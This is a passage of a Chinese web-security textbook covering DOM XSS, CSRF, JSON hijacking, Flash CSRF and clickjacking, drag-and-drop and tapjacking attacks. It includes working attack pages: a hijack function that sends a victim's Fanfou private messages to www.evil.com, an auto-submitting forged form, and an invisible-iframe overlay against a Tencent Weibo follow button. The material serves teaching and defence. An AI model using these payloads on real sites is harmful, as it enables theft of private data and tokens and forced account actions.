    {"text": "它和反射型XSS、存储型XSS的差别在于，DOM XSS的XSS代码并不需要服务器解析响应的直接参与，触发XSS靠的就是浏览器端的DOM解析，可以认为完全是客户端的事情。 如3.1.2节里的代码： <script> eval(location.hash.substr(1)); </script> 触发XSS方式为：http://www.foo.com/xssme.html#alert(1) 这个URL#后的内容是不会发送到服务端的，仅仅是在客户端被接收并解析执行。 这种类型的XSS最早是在Amit Klein的文章里出现的（2005年7月4日）： http://www.webappsec.org/projects/articles/071105.shtml 本书摘录了其中的一些内容，常见的输入点有： document.URL document.URLUnencoded document.location (以及location的多个属性) document.referrer window.location (以及location的多个属性) window.name xhr请求回来的数据 document.cookie 表单项的值 常见的输出点有： 直接输出HTML内容，如： document.write(…) document.writeln(…) document.body.innerHtml=… 直接修改DOM树（包括DHTML事件），如： document.forms[0].action=…(以及其他集合，如：一些对象的src/href属性等) document.attachEvent(…) document.create…(…) document.execCommand(…) document.body. … (直接通过body对象访问DOM) window.attachEvent(…) 替换document URL，如： document.location=… (以及直接赋值给location的href,host,hostname属性) document.location.hostname=… document.location.replace(…) document.location.assign(…) document.URL=… window.navigate(…) 打开或修改新窗口，如： document.open(…) window.open(…) window.location.href=… (以及直接赋值给location的href,host,hostname属性) 直接执行脚本，如： eval(…) window.execScript(…) window.setInterval(…) window.setTimeout(…) 这些都是JavaScript的基本点，从这些输入/输出点我们可以看到，DOM XSS的处理逻辑就在客户端。 3.3 哪里可以出现XSS攻击 XSS涉及的场景可以很广，现在越来越多的客户端软件支持HTML解析和JavaScript解析，比如：HTML文档、XML文档、Flash、PDF、QQ、一些音乐播放器、一些浏览器的功能界面等。"},
    {"text": "比如，你是在Internet域内执行XSS，还是在本地域、特殊域（比如浏览器的一些功能界面上或插件层面上，这里往往拥有更多丰富且强大的API）内执行XSS。"},
    {"text": "注： 有一个更容易让我们产生关联的概念，XSS主要是JavaScript在发挥作用，JavaScript日渐流行，服务端一些重要的组件也支持JavaScript，如MongoDB文档型数据库，Node.js原生的v8引擎，处理HTTP能力强于Nginx/Apache，执行这些服务端组件的命令都是JavaScript。"},
    {"text": "和Web的其他安全风险一样，CSRF刚开始总是受到冷遇，随着越来越多的真实Web世界的CSRF攻击事件发生，OWASP于2007年将CSRF归类进OWASP TOP 10的安全风险中。"},
    {"text": "CSRF的利用与带来的危害要看具体场景，对于黑盒的网站来说，即使后台存在CSRF漏洞，攻击者若不清楚后台情况，这个漏洞也毫无意义。 这类网站有很多，比如，大多数闭源开发的政府、教育、企业等网站，对于这些网站来说，CSRF漏洞根本就不是他们关注的重点。 而CSRF对于那些开源网站、多用户的网站、社交网站等来说就非常值得关注，此时的CSRF可以直接攻击管理员后台或者其他用户。"},
    {"text": "4.1 CSRF概述 CSRF是跨站请求伪造，可能刚接触CSRF这个概念的人会很容易把它与XSS混淆。 我们知道，攻击的发生是由各种请求造成的，对于CSRF来说，它的请求有两个关键点：跨站点的请求与请求是伪造的。"},
    {"text": "4.1.1 跨站点的请求 从字面上看，跨站点请求的来源是其他站点，比如，目标网站的删除文章功能接收到来自恶意网站客户端（JavaScript、Flash、HTML等）发出的删除文章请求，这个请求就是跨站点的请求，目标网站应该区分请求来源。"},
    {"text": "在第3章“前端黑客之XSS”中我们知道，对于XSS来说，发起的任何攻击请求实际上都是目标网站同域内发出的，此时已经没有同源策略的限制，虽然这样，我们同样可以认为这些请求也是伪造的，因为它们不是用户的意愿。"},
    {"text": "4.1.3 一个场景 对于CSRF来说，强调这两个关键点是想表达CSRF的安全风险在大多数场景中的共同点，而在大多数场景中，这种攻击是XSS无法完成的。"},
    {"text": "目标网站A：www.a.com 恶意网站B：www.b.com 两个域不一样，目标网站A上有一个删除文章的功能，通常是用户单击“删除链接”时才会删除指定的文章，这个链接是www.a.com/blog/del?id=1，id号代表不同的文章。"},
    {"text": "我们知道，这样删除文章实际上就是发出一个GET请求，那么如果目标网站A上存在一个XSS漏洞，执行的JS脚本无同源策略限制，就可以按下面的方式来删除文章。"},
    {"text": "使用AJAX发出GET请求，请求值是id=1，请求目标地址是www.a.com/blog/del。 或者动态创建一个标签对象（如img、iframe、script）等，将它们的src指向这个链接www.a.com/blog/del?id=1，发出的也是GET请求。"},
    {"text": "看看CSRF的思路，步骤如下： 在恶意网站B上编写一个CSRF页面（www.b.com/csrf.htm），想想有什么办法可以发出一个GET请求到目标网站A上？"},
    {"text": "这个攻击过程有三个关键点：跨域发出了一个GET请求、可以无JavaScript参与、请求是身份认证后的。 1）跨域发出了一个GET请求 在第1章中，我们提到Web层面上有一个非常重要的策略（即同源策略），这个策略用来限制客户端脚本的跨域请求行为，但实际上由客户端HTML标签等发出的跨域GET请求被认为是合法的，不在同源策略的限制中，但是这些请求发出后并没能力得到目标页面响应的数据内容。"},
    {"text": "很多网站其实都需要有这样的功能，比如，嵌入第三方资源：图片、JS脚本、CSS样式、框架内容，尤其是很多开放的Web 2.0网站有个mashup应用聚合概念，如Google的Gadgets或者SNS社区中的第三方Web应用与Web游戏，通过iframe嵌入第三方扩展应用，如果将这样的GET请求限制住，那么Web世界就过于封闭了。"},
    {"text": "2）可以无JavaScript参与 大家看到了，CSRF这个过程与XSS不一样，不需要JavaScript参与，当然也可以有JavaScript参与，比如在www.b.com/csrf.htm中使用JavaScript动态生成一个img对象： <script> new Image().src = 'http://www.a.com/blog/del?id=1' </script> 同样可以达到攻击效果。"},
    {"text": "需要特别注意的是：这里并不是JavaScript跨域操作目标网站A的数据，而是间接生成了img对象，由img对象发起一个合法的跨域GET请求而已，这个过程和上面直接用一个img标签一样。 3）请求是身份认证后的 这一点非常关键，跨域发出的请求类似这样： GET /blog/del?id=1 HTTP/1.1 Host: www.a.com User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0 Connection: keep-alive Referer: http://www.b.com/csrf.htm Cookie:sid=0951abe6d508dab60357804519a61b999;JSESSIONID=abcTePo2Ori_k-pWt5net; 而如果是目标网站A，用户自己单击删除链接时发出的请求类似这样： GET /blog/del?id=1 HTTP/1.1 Host: www.a.com User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0 Connection: keep-alive Referer: http://www.a.com/blog/ Cookie:sid=0951abe6d508dab60357804519a61b999;JSESSIONID=abcTePo2Ori_k-pWt5net; 可以看到两个请求中，除了请求来源Referer值不一样外，其他都一样，尤其是这里的Cookie值，该Cookie是用户登录目标网站A后的身份认证标志。 跨域发出的请求也同样会带上目标网站A的用户Cookie，这样的请求就是身份认证后的，攻击才会成功。 看上去这个过程很容易理解，其实我们漏了一个非常关键的概念：在第2章详细提过的，Cookie分本地Cookie与内存Cookie，这两类Cookie在CSRF的过程中会存在一些差异，IE浏览器默认不允许目标网站A的本地Cookie在这样的跨域请求中带上，除非在HTTP响应头中设置了P3P（Platform for Privacy Preferences），这个响应头告诉浏览器允许网站（恶意网站B）跨域请求目标网站A的资源时带上目标网站A的用户本地Cookie。"},
    {"text": "比如，目标网站A的“写文章”功能，这是一个提交表单的操作，会发起POST请求。 同样，这个POST请求可以从恶意网站B中发出，通过JavaScript自动生成一份表单，表单的action地址指向目标网站A的“写文章”表单提交地址，表单的相关字段都准备好后，即可发出请求。 下面看一段代码： <body></body> <script> function new_form(){ //创建表单函数 var f = document.createElement(\"form\"); document.body.appendChild(f); f.method = \"post\"; return f; } function create_elements(eForm, eName, eValue){ //创建表单项函数，eForm: 表单对象，eName: 表单项，eValue: 表单项值 var e = document.createElement(\"input\"); eForm.appendChild(e); e.type = 'text'; e.name = eName; if(!document.all){e.style.display = 'none';}else{ e.style.display = 'block'; e.style.width = '0px'; e.style.height = '0px'; } //兼容浏览器的隐藏设置，目的是让表单不可见 e.value = eValue; return e; } var _f = new_form(); //创建表单对象 create_elements(_f, \"title\", \"hi\"); //创建表单项：title=hi create_elements(_f, \"content\", \"csrf_here\"); //创建表单项：content=csrf_here _f.action= \"http://www.a.com/blog/add\"; //设置表单action提交地址为目标网站A的/blog/add页面 _f.submit(); //自动提交 </script> 构造完成，当目标网站A的用户被欺骗访问了恶意网站B的该页面时，一个跨域的伪造的POST表单请求就发出了。"},
    {"text": "4.2 CSRF类型 按照请求类型来区分，上面介绍的这个场景中其实已经提到：GET型与POST型的CSRF攻击，在此不再多述。 若按照攻击方式分类，CSRF可分为：HTML CSRF攻击、JSON HiJacking攻击和Flash CSRF攻击等。 4.2.1 HTML CSRF攻击 同样是上面那个场景，发起的CSRF请求都属于HTML元素发出的，这一类是最普遍的CSRF攻击，我们来看看都有哪些HTML元素可以发出这些请求。 HTML中能够设置src/href等链接地址的标签都可以发起一个GET请求，如： <link href=\"\"> <img src=\"\"> <img lowsrc=\"\"> <img dynsrc=\"\"> <meta http-equiv=\"refresh\" content=\"0; url=\"> <iframe src=\"\"> <frame src=\"\"> <script src=\"\"> <bgsound src=\"\"> <embed src=\"\"> <video src=\"\"> <audio src=\"\"> <a href=\"\"> <table background=\"\"> ... CSS样式中的： @import \"\" background:url(\"\") ... 还有通过JavaScript动态生成的标签对象或CSS对象发起的GET请求，而发出POST请求只能通过form提交方式。"},
    {"text": "1）字典格式 { \"id\": 1, \"name\": \"foo\", \"email\": \"foo@gmail.com\", } 2）列表格式 [\"foo\", \"xoo\", \"coo\"] 每个键值可以是数字、字符串、布尔值、字典、列表、null等，最终呈现出来的是一份结构清晰且完整的字典结构或列表结构。"},
    {"text": "JSON数据如果以字典形式返回，直接在浏览器中显示会报错，原因是浏览器以为“{”开头的脚本应该是一段左右花括号包围住的代码块，所以，对这种JSON数据的处理，一般会这样： eval(\"(\"+JSON_DATA+\")\"); //前后加上圆括号 对于使用列表形式返回的JSON数据，它是一个Array对象，以前可以通过劫持Array数据来进行JSON HiJacking攻击，但是现在已经不行了。"},
    {"text": "饭否的private_messages API可以显示用户私信内容，官方描述如下： 显示用户收到的私信 路径： http://api.fanfou.com/private_messages/inbox.[json|xml] 参数： count (可选) - 私信数，范围 1-20，默认为 20。"},
    {"text": "示例： http://api.fanfou.com/private_messages/inbox.xml?count=10 callback (可选) - JavaScript 函数名，使用 JSON 格式时可用，将 JSON 对象作为参数直接调用。 示例： http://api.fanfou.com/private_messages/inbox.xml?callback=getStatuses 我们使用JSON格式的数据返回，并且callback函数可以自定义。"},
    {"text": "接着自定义一个JSON HiJacking页面，包含如下JavaScript代码： <script> function hijack(o) { //自定义的劫持函数 var i = 0; var data = ''; for (i; i < 3; i++) { //alert(o[i].text); data += o[i].sender_id } alert(data); new Image().src = \"http://www.evil.com/JSONHiJack.php?hi=\" + escape(data); //将获取到的隐私数据上传到攻击者服务器上 } </script> <script src=http://api.fanfou.com/private_messages/inbox.json?callback=hijack&count=3> </script><!--api调用中使用的callback函数为hijack--> 当登录饭否的用户被欺骗访问这个页面时，其隐私将暴露无遗。 第一个<script>标签内的脚本是我们自定义的劫持函数hijack，第二个<script>标签加载远程JS文件，即饭否的private_messages API，这个加载过程实际上是发出了一个CSRF GET请求，请求带上了登录用户的Cookie身份认证信息，返回的数据如下： hijack([{ \"id\": 585904, \"text\": \"...\", \"sender_id\": \"Salina_Wu\", \"recipient_id\": \"ycosxhack\", \"created_at\": \"Sat May 31 05:00:01 +0000 2008\", \"sender_screen_name\": \"LOLO\", \"recipient_screen_name\": \"余弦\" }, { \"id\": 444619, \"text\": \"'';!--\\\"<XSS>=&{()}\", \"sender_id\": \"xssis\", \"recipient_id\": \"ycosxhack\", \"created_at\": \"Fri Apr 11 16:07:19 +0000 2008\", \"sender_screen_name\": \"xssis\", \"recipient_screen_name\": \"余弦\" }, { \"id\": 351757, \"text\": \"...\", \"sender_id\": \"Salina_Wu\", \"recipient_id\": \"ycosxhack\", \"created_at\": \"Sat Mar 01 03:27:22 +0000 2008\", \"sender_screen_name\": \"LOLO\", \"recipient_screen_name\": \"余弦\" }]) 由于hijack函数被预先劫持而定义，并且第二个<script>标签内的远程JS文件返回的数据被当做JavaScript代码而被解析执行，这时就会执行这个hijack函数，参数就是上面hijack()中的这段JSON数据。 这样的JSON HiJacking很经典，如果饭否API不允许自定义callback函数，返回的数据内容如下： [{ \"id\": 585904, \"text\": \"...\", \"sender_id\": \"Salina_Wu\", \"recipient_id\": \"ycosxhack\", \"created_at\": \"Sat May 31 05:00:01 +0000 2008\", \"sender_screen_name\": \"LOLO\", \"recipient_screen_name\": \"余弦\" }, //其余省略…… ] 返回结果是一个Array对象，我们曾经可以通过在加载待劫持的JS文件之前，先劫持住Array对象，例如，下面这段代码： <script> var JackObj; Array = function() { JackObj = this; }; </script> <script src=http://api.fanfou.com/private_messages/inbox.json> </script> 4.2.3 Flash CSRF攻击 Flash的世界同样遵循同源策略，发起的CSRF攻击是通过ActionScript脚本来完成的，说到Flash CSRF时，我们通常会想到以下两点： 跨域获取隐私数据。"},
    {"text": "1. 跨域获取隐私数据 如果目标网站的根目录下存在crossdomain.xml文件，配置如下： <?xml version=\"1.0\"?> <cross-domain-policy> <allow-access-from domain=\"*\" /> </cross-domain-policy> 配置中的allow-access-from domain=\"*\"表示允许任何域的Flash请求本域的资源。"},
    {"text": "这样就非常危险，如果用户登录目标网站，被欺骗访问包含恶意Flash的网页时，自己的隐私数据就可能被盗走。 这个恶意Flash的ActionScript脚本如下： import flash.net.*; //请求隐私数据所在的页面 var loader = new URLLoader(new URLRequest(\"http://www.foo.com/private\")); loader.addEventListener(Event.COMPLETE,function(){ //当请求完成后 loader.data; //获取到的隐私数据 //更多操作 }); loader.load(); //发起请求 2. 跨域提交数据操作 这个其实就不需要crossdomain.xml的跨域访问策略了，在前面我们已经提到，跨域发起的GET/POST请求对浏览器来说就是合法的，那么在Flash里进行也一样。"},
    {"text": "一般情况下，我们会使用“HTML CSRF”方式进行： <form action=\"http://t.xxx.com/article/updatetweet\" method=\"post\"> <input type=\"hidden\" name=\"status\" value=\"html_csrf_here.\" /> </form> <script>document.forms[0].submit();</script> 构造好CSRF页面，欺骗用户访问即可，提交成功后会有JSON文件返回，并提示下载，这样的攻击就有些暴露了。 如果通过Flash来进行这个过程会更加隐蔽，ActionScript代码如下： import flash.net.URLRequest; function post(msg){ var url = new URLRequest(\"http://t.xxx.com/article/updatetweet\"); var _v = new URLVariables(); _v = \"status=\"+msg; url.method = \"POST\"; //POST方式提交 url.data = _v; sendToURL(url); //发送 } post('flash_csrf_here'); 好了，一个更完美的攻击就完成了。"},
    {"text": "第5章 前端黑客之界面操作劫持 界面操作劫持是近几年Web安全领域发展起来的一种新型攻击方法，其影响非常广泛，Twitter、Facebook等国际知名网站都先后受到过这种攻击。"},
    {"text": "2010年，国外安全机构统计前500位最受欢迎的网站中，也只有14%的网站对这种攻击进行了有效的防护，国内的网站系统采取了相应防护手段的更少。"},
    {"text": "本章将深入研究界面劫持攻击的演变历程和技术原理，让大家明白什么是界面操作劫持。 5.1 界面操作劫持概述 界面操作劫持攻击是一种基于视觉欺骗的Web会话劫持攻击，它通过在网页的可见输入控件上覆盖一个不可见的框（iframe），使得用户误以为在操作可见控件，而实际上用户的操作行为被其不可见的框所劫持，执行不可见框中的恶意劫持代码，从而完成在用户不知情的情况下窃取敏感信息、篡改数据等攻击。 界面操作劫持攻击是2008年之后出现的一种新的Web攻击模式，从其技术发展阶段上分析，可以分为以下三种。"},
    {"text": "在现在的Web应用中，有一些需要用户采用鼠标拖放完成的操作（例如，一些小游戏等），而且用户也常常在浏览器中使用鼠标拖放操作来代替复制和粘贴操作。"},
    {"text": "2011年出现的Cookiejacking攻击就是拖放劫持攻击的代表，此攻击的成因是由于本地Cookie可以用<iframe>标签嵌入，进而就可以利用拖放劫持来盗取用户的Cookie。"},
    {"text": "5.1.3 触屏劫持（Tapjacking） 随着智能终端设备和3G网络的快速发展，人们依赖这些设备的时间越来越多，交换的数据也越来越重要，比如，网络聊天、收发邮件、炒股、网银交易等。"},
    {"text": "移动智能终端设备由于体积的限制，一般都没有鼠标、键盘这些输入设备，用户更多的操作是依靠手指在触摸屏上的点击或做滑动等动作完成的。"},
    {"text": "2010年，伯斯坦和斯坦福大学的研究人员们公布了他们的最新研究成果：在苹果移动设备上，类似点击劫持的攻击模式，实现了对用户触摸屏操作的劫持攻击，即界面操作劫持攻击模型的最新阶段：触屏劫持。"},
    {"text": "5.2 界面操作劫持技术原理分析 了解了界面操作劫持的基本知识后，下面对这些劫持技术进行深入分析。 5.2.1 透明层+iframe 前面提到各种操作劫持的首要技术是在用户可见页面上“覆盖一个不可见的框”，从技术角度讲，这里的“覆盖”是指控件位置之间的层次关系，“不可见的”是指页面的透明度为零，而“框”则指的是iframe标签。"},
    {"text": "控件位置之间的层次关系使用z-index，而且任何浏览器都支持： z-index: 1，数值可以是负数，高数值的控件会处于低数值控件的前面，数值越高，控件越靠近用户。"},
    {"text": "2. 使用iframe来嵌入被劫持的页面 <iframe id=\"victim\" src=\"http://www.victim.com\"scrolling=\"no\"> 通过页面透明层+iframe实现了对用户的视觉欺骗，即用户看到的操作对象与实际操作对象是不一致的，从而为界面操作劫持攻击提供了技术手段。 5.2.2 点击劫持技术的实现 有了页面透明层技术和iframe嵌套方法，我们就可以实现点击劫持攻击了。 下面给出一个点击劫持的简单示例，clickjacking.html代码如下： <style> #click{ width:100px; top:20px; left:20px; position: absolute; z-index: 1 } #hidden{ height: 50px; width: 120px; position: absolute; filter: alpha(opacity=50); opacity:0.5; z-index: 2 } </style> <input id=\"click\" value=\"Click me\" type=\"button\"/> <iframe id=\"hidden\" src=\"inner.html\" scrolling=\"no\"></iframe> 嵌入的inner.html代码如下： <input style=\"width: 100px;\" value=\"Login\" type=\"button\" onclick=\"alert (‘test’)\"/> 在上述示例中： clickjakcing.html是一个用户可见的伪装页面，在其页面中设置iframe所在层为透明层，并在iframe中嵌套了inner.html页面。"},
    {"text": "在clickjacking.html页面中设计“Click me”按钮的位置与inner.html页面中“Login”按钮的位置重合。 当用户以为在点击clickjacking.html页面上的“Click me”按钮时，实际上是点击了inner.html页面上的“Login”按钮。"},
    {"text": "5.2.3 拖放劫持技术的实现 1. dataTransfer对象 在拖放劫持攻击中，还需要一种数据传递的方法才能真正达到攻击效果。 为了能协助通过拖放操作传递数据，在IE 5.0以后引入了dataTransfer对象，它作为event对象的一个属性出现，用于从被拖动的对象传递字符串到放置对象。"},
    {"text": "dataTransfer对象定义了两个主要方法：getData和setData，语句如下： event.dataTransfer.setData(\"text\",\"sometext\"); event.dataTransfer.setData(\"URL\",\"http://www.test.com\"); var url = event.dataTransfer.getData(\"URL\"); var text = event.dataTransfer.getData(\"text\"); setData操作完成向系统剪贴板中存储需要传递的数据，传递数据分为两种类型：文本数据和URL数据。"},
    {"text": "这听起来是非常可怕的事情，因为像IPhone这样的移动设备也是刚刚进入互联网的，对于触屏劫持还没有太好的防御，可以说，触屏劫持这种技术在移动设备上简直可以横冲直撞。"},
    {"text": "添加后，主屏幕上会出现一个由网页缩略图生成的APP图标。 当用户点击这个图标后，就会打开网页，这个功能与快捷键方式类似，如图5-1所示。 在桌面浏览器程序中可以设置桌面图标、启动画面，还可以设置页面全屏和更改状态栏样式。 图5-1 Safari UI 添加桌面图标的语句为： <link rel=\"apple-touch-icon\" href=\"icon.png\"/> 添加启动画面的语句为： <link rel=\"apple-touch-startup-image\" href=\"startup.png\" /> 全屏显示的语句为： <meta name=\"apple-mobile-web-app-capable\" content=\"yes\"> 改变状态栏样式为如图5-1所示的Status bar位置，语句为： <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\"> 经过上面的设置后，Web页面就和一个原生态的APP应用差不多了，其中，全屏模式将会隐藏URL地址栏和状态栏（图5-1中URL text field和Button bar位置）。 2. 可视区域viewport viewport就是除去所有的工具栏、状态栏、滚动条等之后网页的可视区域，如图5-1中的“Visible area”区域。"},
    {"text": "例如，下面的代码： <meta name=\"viewport\" content=\"width=320; initial-scale=1.0;maximum-scale=1.0; user-scalable=no;\"/> 其中用到的参数含义如下： width - //viewport的宽度（范围从200到10000，默认为980像素） initial-scale - //初始的缩放比例（范围从0到10） maximum-scale - //允许用户缩放到的最大比例 user-scalable - //用户是否可以手动缩(no,yes) 3. 隐藏URL地址栏 除了用全屏模式隐藏URL地址栏（图5-1中URL text field位置）外，还可以使用如下代码实现对URL地址栏的隐藏。"},
    {"text": "<body onload=\"setTimeout(function() { window.scrollTo(0, 1) }, 100);\"> </body> 4. 触屏函数 对传统的Web设计而言，IPhone IOS的Safari浏览器中有自己独特的触屏API函数，我们可以使用这些函数模拟鼠标键盘的动作。"},
    {"text": "5.3 界面操作劫持实例 本节将分别针对点击劫持、拖放劫持、触摸劫持给出真实的攻击实例。 5.3.1 点击劫持实例 我们已经对点击劫持原理做了详细分析，接下来给出一个真实的点击劫持攻击实例——腾讯微博“立即收听”按钮点击劫持攻击。"},
    {"text": "这里以微博http://t.qq.com/xisigr为例做一个实验，如果你没有收听这个账号，那么在你已登录腾讯微博的状态下浏览微博主页时，则会出现收听“立即收听”的按钮，如图5-2所示，可以看到“立即收听”这个按钮，而且链接http://t.qq.com/xisigr可以被iframe嵌套。 图5-2 腾讯微博：立即收听按钮 如图5-3所示，我们从逻辑上把嵌套的页面划分为4个部分，其中编号④的位置是我们要劫持的“立即收听”按钮控件，对于①、②、③编号的位置，我们会把它们屏蔽掉或伪装起来，这样才可以达到欺骗用户的效果。"},
    {"text": "图5-3 腾讯微博：分块 如图5-4所示，是伪装后的效果，我们在位置①的地方用一个视频覆盖，位置②、③用黑色背景层覆盖，位置③再加上一个伪装按钮。 图5-4 腾讯微博：加一个伪装按钮 位置④使用透明层，并在其下方放置一个伪装按钮Next。"},
    {"text": "图5-5 腾讯微博：完美伪装之后 当用户单击Next按钮观看下一个视频时，实际上是单击了腾讯微博的“收听按钮”，此时你就已经收听这个账号了，完整的代码如下： <!doctype html> <html> <head> <title>Clickjacking</title> </head> <style> body{ margin:0; padding:0; } button{ background:#F0F0F0 repeat-x; padding-top:3px; border-top:1px solid #708090; border-right:1px solid #708090; border-bottom:1px solid #708090; border-left:1px solid #708090; width:60px; height:23px; font-size:10pt; cursor:hand; } .dd{ position:absolute; z-index:20; } #d1{ width:640px; height:360px; top:85px; left:300px; } #d2{ width:230px; height:23px; top:445px; left:300px; background:black; } #d3{ width:350px; height:23px; top:445px; left:590px; background:black; } #d4{ width:60px; height:23px; top:445px; left:530px; position:absolute; z-index:7; } #d5{ width:60px; height:23px; top:445px; left:590px; position:absolute; z-index:30; } #hidden{ height: 260px; width: 530px; top:200px; left:300px; overflow:hidden; position: absolute; filter: alpha(opacity=0); opacity:0; z-index:10; } </style> <body> <iframe id=\"hidden\" src=\"http://t.qq.com/xisigr\" scrolling=\"no\"></iframe> <div class=\"dd\" id=\"d1\"><video src=\"BigBuckBunny.mp4\" controls=\"controls\" preload=\"auto\" ></div> <div class=\"dd\" id=\"d2\"></div> <div class=\"dd\" id=\"d3\"></div> <div id=\"d4\"><button id=\"button_1\">Next</button></div> <div id=\"d5\"><button id=\"button_1\" onclick=\"alert('Please Wait')\">Replay</button></div> </body> </html> 5.3.2 拖放劫持实例 大家都知道，token一般在两个地方出现，第一个是在GET方法中作为URL的一个参数出现，如： http://www.foo.com/token=wsopcwrt 第二个是在POST方法中，存在于隐藏的表单项中： <input type=\"hidden\" name=\"csrf_token\" value=\"token_value\"/> 接下来我们来玩一个小游戏，看看拖放劫持如何获取token。"},
    {"text": "A页面是存在token的页面，链接为http://192.168.10.101/Token.html，如图5-6所示。 图5-6 存在token的A页面 B页面是攻击者控制的页面，链接为http://192.168.10.100/DND.html，如图5-7所示。"},
    {"text": "图5-7 攻击者控制的B页面 现在我们开始玩这个游戏，按Ctrl+A组合键或滑动鼠标选中小球，然后把小球拖放到海豚的嘴上，如图5-8所示。"},
    {"text": "A页面源代码如下： <html> 11111111111111111111111111 <form method=\"POST\"> <input type=\"hidden\" name=\"csrf_token\" value=\"0123456789\"/> </form> <a href=\"https://passport.testa.com/?logout&token=0123456789\">退出</a> 2222222222222222222222222 </html> 我们可以看到token的数值是0123456789。 B页面设计为：在小球的上面使用<iframe>标签加入隐藏层，用户单击小球后，按Ctrl+A组合键或滑动鼠标操作实际上是选择了隐藏层中的内容，这里就是http://192.168.10.101/Token.html中的内容。"},
    {"text": "完整的代码如下： <html> <head> <title> Drag and Drop Attack Demo </title> <style> .IFrame_hidden{height: 50px; width: 50px; top:360px; left:365px; overflow:hidden; filter: alpha(opacity=0); opacity:.0; position: absolute; } .text_area_hidden{ height: 30px; width: 30px; top:180px; left:665px; border:1px solid black; overflow:hidden; filter: alpha(opacity=0); opacity:.0;position:absolute;} .ball{ top:350px; left:350px; position: absolute; } .ball_1{ top:136px; left:640px; filter: alpha(opacity=0); opacity:.0; position: absolute; }.Dolphin{ top:150px; left:600px; position: absolute; }.center{ margin-right: auto;margin-left: auto; vertical-align:middle;text-align:center; margin-top:350px;} </style> <script> function Init() { //添加监听 var source = document.getElementById(\"source\"); var target = document.getElementById(\"target\"); if (source.addEventListener) { target.addEventListener(\"drop\", DumpInfo, false); } else { target.attachEvent(\"ondrop\", DumpInfo); } } function entities(s) { var e = { '\"': '&quot;', '&': '&amp;', '<': '&lt;', '>': '&gt;' }; return s.replace(/[\"&<>]/g, function(m) { return e[m]; }); } function DumpInfo(event) { showHide_ball.call(this); //地面上的小球消失 showHide_ball_1.call(this); //海豚嘴上的小球出现 if (event.dataTransfer.types) { //Firefox浏览器支持 var info = document.getElementById(\"info\"); info.innerHTML += \"<span style='color:#3355cc;font-size:12px'>\" + entities(event.dataTransfer.getData('text/html')) + \"</span><br> \"; //在页面上打印出获取到的数据 } else { //IE浏览器支持 setTimeout(\"html()\", 10); } } function html() { document.getElementById('target').innerText = document.getElementById('target').innerHTML; var info = document.getElementById(\"info\"); info.innerHTML += \"<span style='color:#3355cc;font-size:12px'>\" + (document.getElementById('target').innerHTML) + \"</span><br> \"; //在页面上打印出获取到的数据 } function showHide_frame() { var IFrame_1 = document.getElementById(\"IFrame_1\"); IFrame_1.style.opacity = this.checked ? \"0.5\": \"0\"; IFrame_1.style.filter = \"progid:DXImageTransform.Microsoft.Alpha(opacity= \" + (this.checked ? \"50\": \"0\") + \");\" } function showHide_text() { var text_1 = document.getElementById(\"target\"); text_1.style.opacity = this.checked ? \"0.5\": \"0\"; text_1.style.filter = \"progid:DXImageTransform.Microsoft.Alpha (opacity=\" + (this.checked ? \"50\": \"0\") + \");\" } function showHide_ball() { var hide_ball = document.getElementById(\"hide_ball\"); hide_ball.style.opacity = \"0\"; hide_ball.style.filter = \"alpha(opacity=0)\"; } function showHide_ball_1() { var hide_ball_1 = document.getElementById(\"hide_ball_1\"); hide_ball_1.style.opacity = \"1\"; hide_ball_1.style.filter = \"alpha(opacity=100)\"; } function reload_text() { document.getElementById(\"target\").value = ''; } </script> </head> <body onload=\"Init();\"> <center> <h1> Drag and Drop Attack </h1> </center> <img id=\"hide_ball\" src=ball.png class=\"ball\"> <div id=\"source\"> <iframe id=\"IFrame_1\" src=\"http://192.168.10.101/Token.html \" class=\"IFrame_hidden\" scrolling=\"no\"> </iframe> </div> <img src=Dolphin.jpg class=\"Dolphin\"> <div> <img id=\"hide_ball_1\" src=ball.png class=\"ball_1\"> </div> <div> <div id=\"target\" class=\"text_area_hidden\" contenteditable=\"true\"> test </div> </div> <div id=\"info\" style=\"position:absolute;background-color:#e0e0e0;font- weight:bold;top:600px;\"> </div> <center> 游戏规则：\"Ctrl + A\" 或滑动鼠标选中小球，然后把小球拖放到海豚的嘴上。 <br> </center> <br> <br> <div class=\"center\"> <center> <center> <input id=\"showHide_frame\" type=\"checkbox\" onclick=\"showHide_frame.call (this);\" /> <label for=\"showHide_frame\"> Show the jacked I--Frame </label> | <input id=\"showHide_text\" type=\"checkbox\" onclick=\"showHide_text.call(this);\" /> <label for=\"showHide_text\"> Show the jacked Textarea </label> | <input type=button value=\"Replay\" onclick=\"location.reload();reload_ text();\"> </center> <br> <br> <b> Design by <a target=\"_blank\" href=\"http://hi.baidu.com/xisigr\"> xisigr </a> </b> </center> </div> </body> </html> 对于页面B，美工可以进一步优化以诱导用户进行拖放操作。"},
    {"text": "上述测试代码在IE 9.0和Firefox 8.0浏览器中运行正常，大家可以发现在Firefox浏览器中进行拖放的时候，浏览器会把拖放的内容以阴影的形式显示出来，这样欺骗起来就比较困难了，因为用户可以看到你拖放的实际内容是什么。"},
    {"text": "5.3.3 触屏劫持实例 在5.2.4节中，我们已经了解了IPhone手机的屏幕区域设计，也掌握了触屏劫持中要用到的技术要素。 下面的触屏劫持实例仍以5.3.1节中的腾讯微博“立即收听”按钮为例进行介绍，不同的是，这里的操作环境在IPhone设备上。"},
    {"text": "当把网页保存为5.2.4节中提到的以桌面浏览器形式打开时，网页就支持全屏显示了，以这种形式呈现的网页更像是本地的原生态APP应用程序，使用户根本就分不清哪个是桌面，哪个是网页。"},
    {"text": "图5-9 伪装的IPhone背景+短信 图5-10 伪装的真相 完整的代码如下： <html> <head> <title>iPhone Tapjacking Demo</title> <meta name=\"viewport\" content=\"width=320; initial-scale=1; user-scalable=no;\"/> <meta name=\"apple-mobile-web-app-capable\" content=\"yes\" /> <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black- translucent\"/> <style> body{ margin:0; padding:0; } #hidden{ height: 260px; width: 300px; top:30px; overflow:hidden; position: absolute; filter: alpha(opacity=0); opacity:0; z-index:2; } #d1{ width:320px; height:480px; position:absolute; z-index:1; } </style> </head> <body> <img id=\"d1\" src=\"spoof-1.png\"> <iframe id=\"hidden\" src=\"http://t.qq.com/xisigr\" scrolling=\"no\"></iframe> </body> </html>\n5.4 有何危害 界面操作劫持实际上突破了CSRF的防御策略，这是一种社工色彩很强的跨域操作，而这种跨域正好是浏览器自身的特性。"},
